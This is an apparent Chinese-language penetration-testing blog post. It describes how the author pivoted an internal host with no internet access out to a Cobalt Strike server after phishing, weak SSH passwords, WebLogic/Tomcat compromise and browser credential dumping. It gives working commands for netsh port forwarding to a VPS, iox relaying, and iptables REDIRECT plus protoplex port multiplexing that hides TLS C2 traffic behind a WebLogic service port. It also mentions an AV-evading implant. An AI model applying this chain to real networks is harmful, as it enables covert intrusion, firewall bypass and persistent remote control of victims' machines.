前言
打某一次目标时,通过钓鱼进入了办公网和开发网(双网卡)。然后顺着开发网用ssh弱口令和weblogic、tomcat打了大概百来台机器,这是前提。
正文
1、突破网段
通过浏览器凭证dump工具dump出citrix云桌面的账号密码以及登录地址。挂上代理直接下载citrix连接工具拨过去即通过vpn突破至了另一个带域的网段,且该网段不出网。
2、上线不出网主机
由于我们控制不出网主机目前是以citrix云桌面控制的,如果在白天我们肯定不能这样操作的,因为这些机器都是有主的,白天都是有人使用这些机器,因此我们需要想办法把他上线的cs上,这样我们白天的时候也可以打内网了。以下把不出网主机命名为A。
路径一
首先尝试了A与我控制的出网主机是否连同,最后发现主机和我控制的一台出网机器B可以ping可以通。因此我首先尝试netsh将所有访问B的53端口的流量都转到vps的8080端口,随后我用A certutil访问B的53,发现并不连通。后来我又把53换成了110、80、7001发现都不行。再后来我又把A和B的主机防火墙全部关闭,发现还是不行。可以大致判断是网络端做了限制。
1 | netsh interface portproxy add v4tov4 listenport=53 listenaddress=0.0.0.0 connectport=8080 connectaddress=xxx.xxx.xxx.xxx |
路径二
由于出网机器B性质为个人开发的pc,因此从A访问B的所有端口都不通是符合逻辑的。这时我想到了之前控制的一批开发网内的服务器,按理说服务器的端口应该是对大家开放的,因此我控制A certutil访问了之前打下来的一个weblogic服务器(linux)的7001端口,这里把这台weblogic命名为C,果然能够请求到内容。然后我使用C curl了B机器的53,发现访问到了vps的8080端口。证明了C和B是通的。
此时由于我当时获得的weblogic并非root权限,所以没使用iptables转发,而是使用了一款名为iox的工具做转发。将所有发向C的7003端口的流量转发到B的53端口。然后使用A机器certutil访问C的7003,发现不通。然后我在C上执行curl 127.0.0.1:7003,发现流量转发是成功的,可以访问到vps的8080端口。那么很显然限制还是出在网络层。于是我更换C的7003端口为80、8080、53、110等端口尝试bypass,结果都失败了。
于是我又更换了数台服务器进行操作,发现都是不行。于是这条路径又失败了。
路径三
此时,突然想到了之前在“零队”公众号上看到的一篇文章:“frsocks+protoplex+流量重定向实现端口复用”(https://mp.weixin.qq.com/s/3dvBMyRyjnmS_ITc6a6ABw)。又看了一次文章后突然茅塞顿开。A可以访问C的7001端口,而C的7001端口使用的是http协议。而如果我在weblogic上做一个端口复用,将访问7001端口的http协议转发到127.0.0.1的7001端口也就是其本身,将访问7001端口的tls协议流量转发到B的53端口。然后我的马使用https上线到C的7001端口岂不是就出来了?
C机器执行:
1 | iptables -t nat -A PREROUTING -p tcp -m tcp -s B所在的b段ip/16 --dport 7001 -j REDIRECT --to-ports 9999 |
上面执行的命令解释一下为:
B机器所在B段的ip在访问C的7001端口时会被重定向到9999端口
protoplex软件监听c的9999端口将9999端口的流量进行分流,http的转发到127.0.0.1上,tls转发到A机器的53端口。
上面两句命令有很多门道,首先iptables的–to-ports 9999是在哪个时间段修改了数据包目的端口为9999。
关键点在于iptables将dport修改为9999是在数据包进入本机修改的还是未进入本机修改的。如果未进入主机修改的,那么就等于目的访问地址为:Cip:9999。而进入本机的话再修改目的端口的,目的地址就为本机的127.0.0.1:9999,是可以访问通的。当然我之前也不清楚是哪种,不过最后我成功了,就说明-j REDIRECT实现的是第二种,也就是先进入本机然后再修改目的端口。
而至于protoplex的命令为什么把–http后的目的地址写为127.0.0.1:7001而不是Cip:7001,是因为Cip包含在B所在的b段ip/16中,如果那样写数据包会一直循环,导致目标的http异常。
1 | ./protoplex --http 127.0.0.1:7001 --tls Aip:53 -b cip:9999 |
因此通过上面的两条命令,我成功达到了客户访问其服务器业务正常,而我的马同样也可以从A->C(7001端口tls协议)->B(53端口)->C2:7001端口
然后启动一个https的监听器,ip填为C的ip,端口为7001。再制作一个免杀马,在不出网的A机器运行即可上线成功。
结束
如果排除经常欧洲作息以外,渗透还是挺好玩的。。。
推波博客,大佬轻喷